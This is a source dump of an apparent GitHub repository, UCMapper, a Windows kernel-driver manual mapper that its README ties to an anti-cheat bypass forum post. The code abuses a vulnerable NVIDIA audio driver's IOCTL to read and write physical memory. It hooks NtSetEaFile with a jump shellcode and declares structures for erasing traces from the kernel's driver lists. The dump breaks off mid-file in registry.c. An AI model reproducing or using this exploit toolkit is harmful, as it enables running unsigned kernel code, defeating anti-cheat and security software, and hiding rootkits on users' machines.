├── Tidak berjudul.png
├── UCMapper
├── UCMapper.rc
├── hook.h
├── filerw.h
├── resource.h
├── mapper.h
├── registry.h
├── hook.c
├── routine.h
├── driverlist.h
├── Pattern.c
├── driver.h
├── registry.c
├── hde64.h
├── UCMapper.vcxproj.filters
├── UCMapper.vcxproj
├── routine.c
├── halamd64.h
├── main.h
├── main.c
├── filerw.c
├── kernel.c
├── kernel.h
├── driver.c
├── hde64.c
├── driverlist.c
└── mapper.c
├── README.md
├── UCDummy
├── UCDummy.vcxproj.filters
├── Driver.c
└── UCDummy.vcxproj
├── UCMapper.sln
├── .gitattributes
├── .clang-format
└── .gitignore
/Tidak berjudul.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MmMapIoSpace/UCMapper/HEAD/Tidak berjudul.png
--------------------------------------------------------------------------------
/UCMapper/UCMapper.rc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MmMapIoSpace/UCMapper/HEAD/UCMapper/UCMapper.rc
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # UCMapper
2 |
3 | Article on UC:
4 | https://www.unknowncheats.me/forum/anti-cheat-bypass/600957-ucmapper-kernel-driver-manual-mapper-update-using-nvaudio.html
5 |
--------------------------------------------------------------------------------
/UCMapper/hook.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #ifdef __cplusplus
4 | extern "C" {
5 | #endif
6 |
7 | NTSTATUS HookSystemRoutine(
8 | _In_ PDEVICE_DRIVER_OBJECT Driver,
9 | _In_ ULONGLONG NewAddress,
10 | _Out_writes_bytes_(12) PUCHAR Native);
11 | NTSTATUS UnhookSystemRoutine(_In_ PDEVICE_DRIVER_OBJECT Driver, _In_reads_bytes_(12) PUCHAR Native);
12 |
13 | #ifdef __cplusplus
14 | }
15 | #endif
16 |
--------------------------------------------------------------------------------
/UCMapper/filerw.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | NTSTATUS RtlFileWrite(
4 | _In_ LPCWSTR Destination,
5 | _In_reads_bytes_(BufferLength) PVOID Buffer,
6 | _In_ SIZE_T BufferLength);
7 | NTSTATUS RtlFileMap(_In_ LPCWSTR Source, _Out_ PVOID* BaseAddress, _Out_ PSIZE_T ViewSize);
8 | NTSTATUS RtlFileMapImage(_In_ LPCWSTR Source, _Out_ PVOID* BaseAddress, _Out_ PSIZE_T ViewSize);
9 | NTSTATUS RtlFileUnmap(_In_ PVOID BaseAddress);
10 | NTSTATUS RtlFileDelete(_In_ LPCWSTR FilePath);
11 | NTSTATUS RtlFileToImage(_In_ LPCWSTR Source, _In_ LPCWSTR Destination);
12 |
--------------------------------------------------------------------------------
/UCMapper/resource.h:
--------------------------------------------------------------------------------
1 | //{{NO_DEPENDENCIES}}
2 | // Microsoft Visual C++ generated include file.
3 | // Used by UCMapper.rc
4 | //
5 | #define IDD_DIALOG1 101
6 | #define IDD_DIALOG 101
7 | #define IDC_EDIT 1001
8 | #define IDC_BROWSE 1002
9 | #define IDC_MAP 1003
10 |
11 | // Next default values for new objects
12 | //
13 | #ifdef APSTUDIO_INVOKED
14 | #ifndef APSTUDIO_READONLY_SYMBOLS
15 | #define _APS_NEXT_RESOURCE_VALUE 103
16 | #define _APS_NEXT_COMMAND_VALUE 40001
17 | #define _APS_NEXT_CONTROL_VALUE 1004
18 | #define _APS_NEXT_SYMED_VALUE 101
19 | #endif
20 | #endif
21 |
--------------------------------------------------------------------------------
/UCDummy/UCDummy.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 | {8E41214B-6785-4CFE-B992-037D68949A14}
18 | inf;inv;inx;mof;mc;
19 |
20 |
21 |
22 |
23 | Source Files
24 |
25 |
26 |
--------------------------------------------------------------------------------
/UCMapper/mapper.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | typedef struct _MAPPER_EXECUTOR_CONTEXT
4 | {
5 | SIZE_T ContextSize;
6 | PKSTART_ROUTINE WorkerThread;
7 | NTSTATUS DriverStatus;
8 | PVOID ImageBase;
9 | SIZE_T ImageSize;
10 | PVOID Unloader;
11 | PVOID MemoryDescriptor;
12 | PVOID MapSection;
13 | KERNEL_IMPORT_TABLE ImportTable;
14 | } MAPPER_EXECUTOR_CONTEXT, *PMAPPER_EXECUTOR_CONTEXT;
15 |
16 | NTSTATUS MmLoadSystemImage(_In_ PDEVICE_DRIVER_OBJECT Driver, _In_ PVOID ImageBase);
17 |
18 | #ifdef _WIN64
19 | #define DEFAULT_SECURITY_COOKIE 0x00002B992DDFA232
20 | #else
21 | #define DEFAULT_SECURITY_COOKIE 0xBB40E64E
22 | #endif
23 |
24 | #define LDRP_RELOCATION_INCREMENT 0x1
25 | #define LDRP_RELOCATION_FINAL 0x2
26 |
27 | #define IMAGE_REL_BASED_ABSOLUTE 0
28 | #define IMAGE_REL_BASED_HIGH 1
29 | #define IMAGE_REL_BASED_LOW 2
30 | #define IMAGE_REL_BASED_HIGHLOW 3
31 | #define IMAGE_REL_BASED_HIGHADJ 4
32 | #define IMAGE_REL_BASED_MIPS_JMPADDR 5
33 | #define IMAGE_REL_BASED_SECTION 6
34 | #define IMAGE_REL_BASED_REL32 7
35 | #define IMAGE_REL_BASED_MIPS_JMPADDR16 9
36 | #define IMAGE_REL_BASED_IA64_IMM64 9
37 | #define IMAGE_REL_BASED_DIR64 10
38 |
--------------------------------------------------------------------------------
/UCMapper/registry.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | NTSTATUS RtlRegSetKeyValue(
4 | _In_ LPCWSTR RegistryPath,
5 | _In_ LPCWSTR Valuename,
6 | _In_ ULONG Type,
7 | _In_reads_bytes_(BufferLength) PVOID Buffer,
8 | _In_ ULONG BufferLength);
9 | NTSTATUS RtlRegGetKeyValue(
10 | _In_ LPCWSTR RegistryPath,
11 | _In_ LPCWSTR Valuename,
12 | _Out_writes_bytes_(BufferLength) PVOID Buffer,
13 | _In_ ULONG BufferLength);
14 | NTSTATUS RtlRegDeleteKey(_In_ LPCWSTR RegistryPath);
15 |
16 | FORCEINLINE NTSTATUS
17 | RtlRegSetKeyValue32(_In_ LPCWSTR RegistryPath, _In_ LPCWSTR Valuename, ULONG Value)
18 | {
19 | return RtlRegSetKeyValue(RegistryPath, Valuename, REG_DWORD, &Value, sizeof(ULONG));
20 | }
21 |
22 | FORCEINLINE NTSTATUS
23 | RtlRegSetKeyValue64(_In_ LPCWSTR RegistryPath, _In_ LPCWSTR Valuename, ULONGLONG Value)
24 | {
25 | return RtlRegSetKeyValue(RegistryPath, Valuename, REG_QWORD, &Value, sizeof(ULONGLONG));
26 | }
27 |
28 | FORCEINLINE NTSTATUS
29 | RtlRegSetKeyValueSz(_In_ LPCWSTR RegistryPath, _In_ LPCWSTR Valuename, LPCWSTR Value)
30 | {
31 | UNICODE_STRING UnicodeString;
32 | RtlInitUnicodeString(&UnicodeString, Value);
33 | return RtlRegSetKeyValue(
34 | RegistryPath,
35 | Valuename,
36 | REG_SZ,
37 | UnicodeString.Buffer,
38 | UnicodeString.MaximumLength);
39 | }
40 |
--------------------------------------------------------------------------------
/UCMapper.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.8.34004.107
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "UCMapper", "UCMapper\UCMapper.vcxproj", "{88FB186E-9662-4DB3-BBB1-E12A23522EA3}"
7 | EndProject
8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "UCDummy", "UCDummy\UCDummy.vcxproj", "{4896E9CA-882E-46C6-9A9F-1F2A1CC439FB}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Release|x64 = Release|x64
13 | EndGlobalSection
14 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
15 | {88FB186E-9662-4DB3-BBB1-E12A23522EA3}.Release|x64.ActiveCfg = Release|x64
16 | {88FB186E-9662-4DB3-BBB1-E12A23522EA3}.Release|x64.Build.0 = Release|x64
17 | {4896E9CA-882E-46C6-9A9F-1F2A1CC439FB}.Release|x64.ActiveCfg = Release|x64
18 | {4896E9CA-882E-46C6-9A9F-1F2A1CC439FB}.Release|x64.Build.0 = Release|x64
19 | {4896E9CA-882E-46C6-9A9F-1F2A1CC439FB}.Release|x64.Deploy.0 = Release|x64
20 | EndGlobalSection
21 | GlobalSection(SolutionProperties) = preSolution
22 | HideSolutionNode = FALSE
23 | EndGlobalSection
24 | GlobalSection(ExtensibilityGlobals) = postSolution
25 | SolutionGuid = {1DBDFB11-75CE-4D10-AB29-6A68581D3208}
26 | EndGlobalSection
27 | EndGlobal
28 |
--------------------------------------------------------------------------------
/UCMapper/hook.c:
--------------------------------------------------------------------------------
1 | #include "main.h"
2 |
3 | NTSTATUS HookSystemRoutine(
4 | _In_ PDEVICE_DRIVER_OBJECT Driver,
5 | _In_ ULONGLONG NewAddress,
6 | _Out_writes_bytes_(12) PUCHAR Native)
7 | {
8 | UCHAR Shellcode[12];
9 | NTSTATUS Status;
10 | ULONGLONG Address;
11 | WCHAR v1[] = {L'N', L't', L'S', L'e', L't', L'E', L'a', L'F', L'i', L'l', L'e', L'\0'};
12 |
13 | Address = GetSystemRoutineAddressW(v1);
14 | if (Address == 0) {
15 | Status = STATUS_NOT_FOUND;
16 | DEBUG_PRINT_NTSTATUS(Status);
17 | return Status;
18 | }
19 |
20 | RtlZeroMemory(Shellcode, sizeof(Shellcode));
21 | Shellcode[0] = 0x48;
22 | Shellcode[1] = 0xB8;
23 | *(ULONGLONG*)&Shellcode[2] = NewAddress;
24 | Shellcode[10] = 0xFF;
25 | Shellcode[11] = 0xE0;
26 |
27 | Status = Driver->ReadMemory(Driver->DeviceHandle, Address, Native, sizeof(Shellcode));
28 | if NT_SUCCESS (Status) {
29 | Status = Driver->WriteMemory(Driver->DeviceHandle, Address, Shellcode, sizeof(Shellcode));
30 | }
31 |
32 | return Status;
33 | }
34 |
35 | NTSTATUS UnhookSystemRoutine(_In_ PDEVICE_DRIVER_OBJECT Driver, _In_reads_bytes_(12) PUCHAR Native)
36 | {
37 | ULONGLONG routineAddr;
38 | WCHAR v1[] = {L'N', L't', L'S', L'e', L't', L'E', L'a', L'F', L'i', L'l', L'e', L'\0'};
39 |
40 | routineAddr = GetSystemRoutineAddressW(v1);
41 | if (routineAddr == 0)
42 | return STATUS_NOT_FOUND;
43 |
44 | return Driver->WriteMemory(Driver->DeviceHandle, routineAddr, Native, 12);
45 | }
46 |
--------------------------------------------------------------------------------
/UCDummy/Driver.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | VOID DriverMain(_In_ PDRIVER_OBJECT DriverObject)
4 | {
5 | HANDLE exitThread;
6 | LARGE_INTEGER timeout;
7 |
8 | DbgPrint("[+] System Thread started.");
9 |
10 | timeout.QuadPart = (-(
11 | (((LONGLONG)(2))
12 | * (((LONGLONG)(1000L)) * (((LONGLONG)(1000L)) * (((LONGLONG)(1000L)) / 100L))))));
13 |
14 | KeDelayExecutionThread(KernelMode, FALSE, &timeout);
15 |
16 | if NT_SUCCESS (PsCreateSystemThread(
17 | &exitThread,
18 | THREAD_ALL_ACCESS,
19 | NULL,
20 | NULL,
21 | NULL,
22 | DriverObject->DriverUnload,
23 | DriverObject))
24 |
25 | ZwClose(exitThread);
26 |
27 | DbgPrint("[+] Driver Exit.");
28 | PsTerminateSystemThread(STATUS_SUCCESS);
29 | }
30 |
31 | extern PLIST_ENTRY PsLoadedModuleList;
32 |
33 | NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath)
34 | {
35 | HANDLE mainThread;
36 |
37 | UNREFERENCED_PARAMETER(RegistryPath);
38 | UNREFERENCED_PARAMETER(DriverObject);
39 |
40 | DbgPrint("[+] Driver called on 0x%p.", PsGetCurrentProcess());
41 | DbgPrint("[+] Driver called at %02X.", KeGetCurrentIrql());
42 | DbgPrint("[+] Driver start at %p.", DriverObject->DriverStart);
43 | DbgPrint("[+] Driver size for %08X.", DriverObject->DriverSize);
44 | DbgPrint("[+] PsLoadedModuleList 0x%p.", PsLoadedModuleList);
45 |
46 | if NT_SUCCESS (PsCreateSystemThread(
47 | &mainThread,
48 | THREAD_ALL_ACCESS,
49 | NULL,
50 | NULL,
51 | NULL,
52 | DriverMain,
53 | DriverObject))
54 |
55 | return ZwClose(mainThread);
56 |
57 | return STATUS_UNSUCCESSFUL;
58 | }
59 |
--------------------------------------------------------------------------------
/UCMapper/routine.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | FORCEINLINE PVOID RtlAllocateMemory(_In_ SIZE_T NumberOfBytes)
4 | {
5 | PVOID Pointer = NULL;
6 | while (Pointer == NULL)
7 | Pointer = RtlAllocateHeap(NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, NumberOfBytes);
8 | return Pointer;
9 | }
10 |
11 | FORCEINLINE PVOID RtlReAllocateMemory(_In_ PVOID Pointer, _In_ SIZE_T NumberOfBytes)
12 | {
13 | return RtlReAllocateHeap(NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, Pointer, NumberOfBytes);
14 | }
15 |
16 | FORCEINLINE BOOLEAN RtlFreeMemory(_In_ PVOID Pointer)
17 | {
18 | return RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, Pointer);
19 | }
20 |
21 | NTSTATUS ObGetObjectByHandle(_In_ HANDLE Handle, _Out_ PULONGLONG Pointer);
22 |
23 | NTSTATUS MmGetSystemModuleA(
24 | _In_ LPCSTR ModuleName,
25 | _Out_ PRTL_PROCESS_MODULE_INFORMATION ModuleInformation);
26 |
27 | NTSTATUS MmGetSystemModuleW(
28 | _In_ LPCWSTR ModuleName,
29 | _Out_ PRTL_PROCESS_MODULE_INFORMATION ModuleInformation);
30 |
31 | NTSTATUS MmGetSystemRoutineAddressA(_In_ LPCSTR RoutineName, _Out_ PULONGLONG Pointer);
32 | NTSTATUS MmGetSystemRoutineAddressW(_In_ LPCWSTR ModuleName, _Out_ PULONGLONG Pointer);
33 |
34 | FORCEINLINE ULONGLONG MmGetSystemModuleBaseA(_In_ LPCSTR ModuleName)
35 | {
36 | RTL_PROCESS_MODULE_INFORMATION mi;
37 |
38 | if NT_SUCCESS (MmGetSystemModuleA(ModuleName, &mi))
39 | return (ULONGLONG)mi.ImageBase;
40 |
41 | return 0;
42 | }
43 |
44 | FORCEINLINE ULONGLONG MmGetSystemModuleBaseW(_In_ LPCWSTR ModuleName)
45 | {
46 | RTL_PROCESS_MODULE_INFORMATION mi;
47 |
48 | if NT_SUCCESS (MmGetSystemModuleW(ModuleName, &mi))
49 | return (ULONGLONG)mi.ImageBase;
50 |
51 | return 0;
52 | }
53 |
54 | FORCEINLINE ULONGLONG GetSystemRoutineAddressA(_In_ LPCSTR RoutineName)
55 | {
56 | ULONGLONG Pointer;
57 | if NT_SUCCESS (MmGetSystemRoutineAddressA(RoutineName, &Pointer))
58 | return Pointer;
59 |
60 | return 0;
61 | }
62 |
63 | FORCEINLINE ULONGLONG GetSystemRoutineAddressW(_In_ LPCWSTR RoutineName)
64 | {
65 | ULONGLONG Pointer;
66 | if NT_SUCCESS (MmGetSystemRoutineAddressW(RoutineName, &Pointer))
67 | return Pointer;
68 |
69 | return 0;
70 | }
71 |
--------------------------------------------------------------------------------
/UCDummy/UCDummy.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Release
6 | x64
7 |
8 |
9 |
10 | {4896E9CA-882E-46C6-9A9F-1F2A1CC439FB}
11 | {dd38f7fc-d7bd-488b-9242-7d8754cde80d}
12 | v4.5
13 | 12.0
14 | Debug
15 | x64
16 | UCDummy
17 |
18 |
19 |
20 | Windows10
21 | false
22 | WindowsKernelModeDriver10.0
23 | Driver
24 | WDM
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 | DbgengKernelDebugger
36 |
37 |
38 |
39 | sha256
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
--------------------------------------------------------------------------------
/UCMapper/driverlist.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #ifndef METHOD_DECLARE_STRUCTURE
4 | #define METHOD_DECLARE_STRUCTURE(x) \
5 | typedef struct _##x x, *P##x; \
6 | struct _##x
7 | #endif
8 |
9 | #define MM_UNLOADED_DRIVER_SIZE 50
10 |
11 | METHOD_DECLARE_STRUCTURE(DDBCACHE_ENTRY)
12 | {
13 | //
14 | // These fields are used as matching critereon for cache lookup.
15 | //
16 | LIST_ENTRY List;
17 | UNICODE_STRING Name; // Driver name
18 | ULONG TimeDateStamp; // Link date of the driver
19 | //
20 | // Reference data for the cached entry.
21 | //
22 | NTSTATUS Status; // Status from the DDB lookup
23 | GUID Guid;
24 | };
25 |
26 | METHOD_DECLARE_STRUCTURE(HASH_BUCKET_ENTRY)
27 | {
28 | struct _HASH_BUCKET_ENTRY* Next;
29 | UNICODE_STRING DriverName;
30 | ULONG CertHash[5];
31 | };
32 |
33 | METHOD_DECLARE_STRUCTURE(MM_UNLOADED_DRIVER)
34 | {
35 | UNICODE_STRING Name;
36 | PVOID ModuleStart;
37 | PVOID ModuleEnd;
38 | ULONGLONG UnloadTime;
39 | };
40 |
41 | METHOD_DECLARE_STRUCTURE(MP_RUNTIME_DRIVERS)
42 | {
43 | LIST_ENTRY DriverInfoList;
44 | UNICODE_STRING ImageName;
45 | UNICODE_STRING DriverRegistryPath;
46 | UNICODE_STRING CertPublisher;
47 | UNICODE_STRING CertIssuer;
48 | PVOID ImageHash;
49 | ULONG ImageHashAlgorithm;
50 | ULONG ImageHashLength;
51 | PVOID CertThumbprint;
52 | ULONG ThumbprintHashAlgorithm;
53 | ULONG CertificateThumbprintLength;
54 | PVOID ImageBase;
55 | SIZE_T ImageSize;
56 | ULONG ImageFlags;
57 | ULONG DriverClassification;
58 | ULONG ModuleEntryEnd;
59 | };
60 |
61 | METHOD_DECLARE_STRUCTURE(MP_DRIVERS_INFO)
62 | {
63 | LONG Status;
64 | LONGLONG Reserved;
65 | ULONG ElamSignaturesMajorVer;
66 | ULONG ElamSignatureMinorVer;
67 | LIST_ENTRY LoadedDriversList;
68 | PSLIST_ENTRY ElamRegistryEntries;
69 | LIST_ENTRY BootProcessList;
70 | PCALLBACK_OBJECT CallbackObject;
71 | PVOID BootDriverCallbackRegistration;
72 | FAST_MUTEX DriversInfoFastMutex;
73 | ULONG TotalDriverEntriesLenght;
74 | PVOID SeRegisterImageVerificationCallback;
75 | PVOID SeUnregisterImageVerificationCallback;
76 | PVOID ImageVerificationCbHandle;
77 | LONG RuntimeDriversCount;
78 | ULONG RuntimeDriversArrayLenght;
79 | PVOID RuntimeDriversArray;
80 | LIST_ENTRY RuntimeDriversList;
81 | LONGLONG field_C8;
82 | };
83 |
84 | NTSTATUS RemoveDriverRuntimeList(IN PDEVICE_DRIVER_OBJECT Driver, IN LPCWSTR DriverName);
85 |
--------------------------------------------------------------------------------
/UCMapper/Pattern.c:
--------------------------------------------------------------------------------
1 | #include "main.h"
2 |
3 | #define MI_PATTERN_WILDCARD 0xAEUI8
4 |
5 | NTSTATUS MmFindPattern(
6 | _In_reads_bytes_(SizeOfAddress) PVOID BaseAddress,
7 | _In_ SIZE_T SizeOfAddress,
8 | _In_reads_bytes_(PatternLength) PUCHAR Pattern,
9 | _In_ SIZE_T PatternLength,
10 | _Out_ PVOID* Pointer)
11 | {
12 | NTSTATUS Status;
13 | SIZE_T i, j;
14 |
15 | *Pointer = NULL;
16 | Status = STATUS_NOT_FOUND;
17 | if (Pattern != NULL && BaseAddress != NULL) {
18 | for (i = 0; i < SizeOfAddress - PatternLength; i++) {
19 | Status = STATUS_SUCCESS;
20 | for (j = 0; j < PatternLength; j++) {
21 | if (Pattern[j] != MI_PATTERN_WILDCARD
22 | && Pattern[j] != ((PUCHAR)BaseAddress)[i + j]) {
23 | Status = STATUS_INVALID_SIGNATURE;
24 | break;
25 | }
26 | }
27 |
28 | if NT_SUCCESS (Status) {
29 | *Pointer = (PUCHAR)BaseAddress + i;
30 | Status = STATUS_SUCCESS;
31 | break;
32 | }
33 | }
34 | }
35 |
36 | return Status;
37 | }
38 |
39 | NTSTATUS MmFindPattern2(
40 | _In_reads_bytes_(SizeOfAddress) PVOID BaseAddress,
41 | _In_ SIZE_T SizeOfAddress,
42 | _In_ PUCHAR Pattern,
43 | _In_ PCHAR Mask,
44 | _Out_ PVOID* Pointer)
45 | {
46 | ANSI_STRING v1;
47 | BOOLEAN v3;
48 | SIZE_T i;
49 | PUCHAR v4;
50 | SIZE_T j;
51 | NTSTATUS s;
52 |
53 | s = STATUS_NOT_FOUND;
54 | RtlInitString(&v1, Mask);
55 | for (j = 0; j < (SizeOfAddress - v1.Length); j += 1) {
56 | v3 = TRUE;
57 | v4 = (PUCHAR)BaseAddress + j;
58 |
59 | for (i = 0; i < v1.Length; i += 1) {
60 | if (v1.Buffer[i] == 'x' && Pattern[i] != v4[i]) {
61 | v3 = FALSE;
62 | break;
63 | }
64 | }
65 |
66 | if (v3 == TRUE) {
67 | *Pointer = (PVOID)((PCHAR)BaseAddress + j);
68 | s = STATUS_SUCCESS;
69 | break;
70 | }
71 | }
72 | return s;
73 | }
74 |
75 | NTSTATUS MmRelativeVirtualAddress(
76 | _In_ PVOID BaseAddress,
77 | _In_ LONG Offsets,
78 | _In_ SIZE_T Size,
79 | _Out_ PVOID* Pointer)
80 | {
81 | NTSTATUS Status;
82 | LONG RVA;
83 |
84 | RVA = *(PLONG)((ULONGLONG)BaseAddress + Offsets);
85 | Status = RVA != 0 ? STATUS_SUCCESS : STATUS_CONFLICTING_ADDRESSES;
86 | if NT_SUCCESS (Status)
87 | *Pointer = (PVOID)((ULONGLONG)BaseAddress + Size + RVA);
88 |
89 | return Status;
90 | }
91 |
--------------------------------------------------------------------------------
/UCMapper/driver.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 |
4 | typedef NTSTATUS (*PFN_READSYSTEMMEMORY)(
5 | _In_ HANDLE DeviceHandle,
6 | _In_ ULONGLONG Source,
7 | _Out_writes_bytes_(Length) PVOID Destination,
8 | _In_ SIZE_T Length);
9 |
10 |
11 | typedef NTSTATUS (*PFN_WRITESYSTEMMEMORY)(
12 | _In_ HANDLE DeviceHandle,
13 | _In_ ULONGLONG Destination,
14 | _In_reads_bytes_(Length) PVOID Source,
15 | _In_ SIZE_T Length);
16 |
17 | typedef struct _DEVICE_DRIVER_OBJECT
18 | {
19 | HANDLE DeviceHandle;
20 | PFN_READSYSTEMMEMORY ReadMemory;
21 | PFN_WRITESYSTEMMEMORY WriteMemory;
22 | } DEVICE_DRIVER_OBJECT, *PDEVICE_DRIVER_OBJECT;
23 |
24 | NTSTATUS LoadDriver(_Out_ PDEVICE_DRIVER_OBJECT DriverObject);
25 | NTSTATUS UnloadDriver(_In_ PDEVICE_DRIVER_OBJECT DriverObject);
26 |
27 | #define NVAUDIO_IOCTL_CODE 0x9C40A484
28 |
29 | typedef enum _NVAUDIO_REQUEST_CLASS
30 | {
31 | READ_CONTROL_REGISTER = 0,
32 | WRITE_CONTROL_REGISTER = 1,
33 | GET_PHYSICAL_ADDRESS = 0x26,
34 | READ_PHYSICAL_MEMORY = 0x14,
35 | WRITE_PHYSICAL_MEMORY = 0x15
36 | } NVAUDIO_REQUEST_CLASS;
37 |
38 | //Request.EncryptionKey[0] = 12868886329971960498;
39 | //Request.EncryptionKey[1] = 13552922889676271240;
40 | //Request.EncryptionKey[2] = 10838534925730813900;
41 | //Request.EncryptionKey[3] = 11819403095038824665;
42 | //Request.EncryptionKey[4] = 16047435637536096;
43 | //Request.EncryptionKey[5] = 10679697536739367056;
44 | //Request.EncryptionKey[6] = 18271467892729589711;
45 | //Request.EncryptionKey[7] = 6472933704646412218;
46 |
47 | #pragma pack(push, 1)
48 |
49 | typedef struct _NVAUDIO_REQUEST
50 | {
51 | NVAUDIO_REQUEST_CLASS RequestClass;
52 |
53 | union
54 | {
55 | struct
56 | {
57 | LONG NumberOfBytes;
58 | LONGLONG Destination;
59 | LONGLONG Source;
60 | UCHAR Padding0[32];
61 | };
62 |
63 | struct
64 | {
65 | LONG Reserved0;
66 | LONGLONG PhysicalAddress;
67 | LONGLONG VirtualAddress;
68 | UCHAR Padding1[32];
69 | };
70 |
71 | struct
72 | {
73 | LONG CRSize;
74 | LONG NumberOfCR;
75 | LONG Unk01;
76 | LONG Unk02;
77 | LONG Unk03;
78 | LONG Result;
79 | UCHAR Padding2[28];
80 | };
81 | };
82 |
83 | ULONGLONG EncryptionKey[64 / 8];
84 | UCHAR Reserved[312 - 64 - 56];
85 |
86 | } NVAUDIO_REQUEST, *PNVAUDIO_REQUEST;
87 |
88 | #pragma pack(pop)
89 |
90 | static_assert(sizeof(NVAUDIO_REQUEST) == 312, "Structure Size Must be 312 Bytes.");
91 |
--------------------------------------------------------------------------------
/.gitattributes:
--------------------------------------------------------------------------------
1 | ###############################################################################
2 | # Set default behavior to automatically normalize line endings.
3 | ###############################################################################
4 | * text=auto
5 |
6 | ###############################################################################
7 | # Set default behavior for command prompt diff.
8 | #
9 | # This is need for earlier builds of msysgit that does not have it on by
10 | # default for csharp files.
11 | # Note: This is only used by command line
12 | ###############################################################################
13 | #*.cs diff=csharp
14 |
15 | ###############################################################################
16 | # Set the merge driver for project and solution files
17 | #
18 | # Merging from the command prompt will add diff markers to the files if there
19 | # are conflicts (Merging from VS is not affected by the settings below, in VS
20 | # the diff markers are never inserted). Diff markers may cause the following
21 | # file extensions to fail to load in VS. An alternative would be to treat
22 | # these files as binary and thus will always conflict and require user
23 | # intervention with every merge. To do so, just uncomment the entries below
24 | ###############################################################################
25 | #*.sln merge=binary
26 | #*.csproj merge=binary
27 | #*.vbproj merge=binary
28 | #*.vcxproj merge=binary
29 | #*.vcproj merge=binary
30 | #*.dbproj merge=binary
31 | #*.fsproj merge=binary
32 | #*.lsproj merge=binary
33 | #*.wixproj merge=binary
34 | #*.modelproj merge=binary
35 | #*.sqlproj merge=binary
36 | #*.wwaproj merge=binary
37 |
38 | ###############################################################################
39 | # behavior for image files
40 | #
41 | # image files are treated as binary by default.
42 | ###############################################################################
43 | #*.jpg binary
44 | #*.png binary
45 | #*.gif binary
46 |
47 | ###############################################################################
48 | # diff behavior for common document formats
49 | #
50 | # Convert binary document formats to text before diffing them. This feature
51 | # is only available from the command line. Turn it on by uncommenting the
52 | # entries below.
53 | ###############################################################################
54 | #*.doc diff=astextplain
55 | #*.DOC diff=astextplain
56 | #*.docx diff=astextplain
57 | #*.DOCX diff=astextplain
58 | #*.dot diff=astextplain
59 | #*.DOT diff=astextplain
60 | #*.pdf diff=astextplain
61 | #*.PDF diff=astextplain
62 | #*.rtf diff=astextplain
63 | #*.RTF diff=astextplain
64 |
--------------------------------------------------------------------------------
/UCMapper/registry.c:
--------------------------------------------------------------------------------
1 | #include "main.h"
2 |
3 | NTSTATUS RtlRegSetKeyValue(
4 | _In_ LPCWSTR RegistryPath,
5 | _In_ LPCWSTR Valuename,
6 | _In_ ULONG Type,
7 | _In_reads_bytes_(BufferLength) PVOID Buffer,
8 | _In_ ULONG BufferLength)
9 | {
10 | HANDLE RegistryHandle;
11 | UNICODE_STRING UnicodeString;
12 | NTSTATUS Status;
13 | OBJECT_ATTRIBUTES objectAttributes;
14 |
15 | RtlInitUnicodeString(&UnicodeString, RegistryPath);
16 | InitializeObjectAttributes(&objectAttributes, &UnicodeString, OBJ_CASE_INSENSITIVE, NULL, NULL);
17 | Status = NtOpenKey(&RegistryHandle, KEY_ALL_ACCESS, &objectAttributes);
18 |
19 | if NT_ERROR (Status) {
20 | Status = NtCreateKey(
21 | &RegistryHandle,
22 | KEY_ALL_ACCESS,
23 | &objectAttributes,
24 | 0,
25 | NULL,
26 | REG_OPTION_VOLATILE,
27 | NULL);
28 | }
29 |
30 | if NT_SUCCESS (Status) {
31 | RtlInitUnicodeString(&UnicodeString, Valuename);
32 | Status = NtSetValueKey(RegistryHandle, &UnicodeString, 0, Type, Buffer, BufferLength);
33 |
34 | NtClose(RegistryHandle);
35 | }
36 |
37 | return Status;
38 | }
39 |
40 | NTSTATUS RtlRegGetKeyValue(
41 | _In_ LPCWSTR RegistryPath,
42 | _In_ LPCWSTR Valuename,
43 | _Out_writes_bytes_(BufferLength) PVOID Buffer,
44 | _In_ ULONG BufferLength)
45 | {
46 | UNICODE_STRING UnicodeString;
47 | OBJECT_ATTRIBUTES ObjectAttributes;
48 | NTSTATUS Status;
49 | HANDLE RegistryHandle;
50 | ULONG PartialInformationSize;
51 | PKEY_VALUE_PARTIAL_INFORMATION PartialInformation;
52 | ULONG ResultLength;
53 |
54 | ResultLength = 0;
55 |
56 | RtlInitUnicodeString(&UnicodeString, RegistryPath);
57 | InitializeObjectAttributes(
58 | &ObjectAttributes,
59 | &UnicodeString,
60 | (OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE),
61 | NULL,
62 | NULL);
63 |
